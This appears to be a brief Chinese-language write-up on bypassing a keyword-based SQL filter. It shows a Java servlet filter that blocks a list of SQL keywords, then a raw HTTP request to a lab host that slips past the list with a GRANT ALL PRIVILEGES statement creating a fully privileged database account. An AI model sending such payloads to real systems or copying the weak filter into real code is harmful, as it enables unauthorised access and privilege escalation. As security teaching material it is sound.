浅析白盒白名单SQL注入绕过利用

public class SQLFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {Filter.super.init(filterConfig);}@Overridepublic void destroy() {Filter.super.destroy();}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String sql = servletRequest.getParameter("sql");System.out.println(sql);if (StrUtil.containsAnyIgnoreCase(sql, new CharSequence[]{"INSERT ", "SELECT ", "UPDATE ", "DELETE ", "DROP ", "ALTER ", "TRUNCATE ","/**/"})) {System.out.println("拦截到恶意SQL"+sql);servletResponse.getWriter().write("Error:"+sql);return;}
filterChain.doFilter(servletRequest,servletResponse);
}}

POST /SqlExecute HTTP/1.1Host: 192.168.0.106:8987User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 97
sql=GRANT+ALL+PRIVILEGES+ON+*.*+TO+'Met32'@'localhost'+IDENTIFIED+BY+'password'WITH+GRANT+OPTION;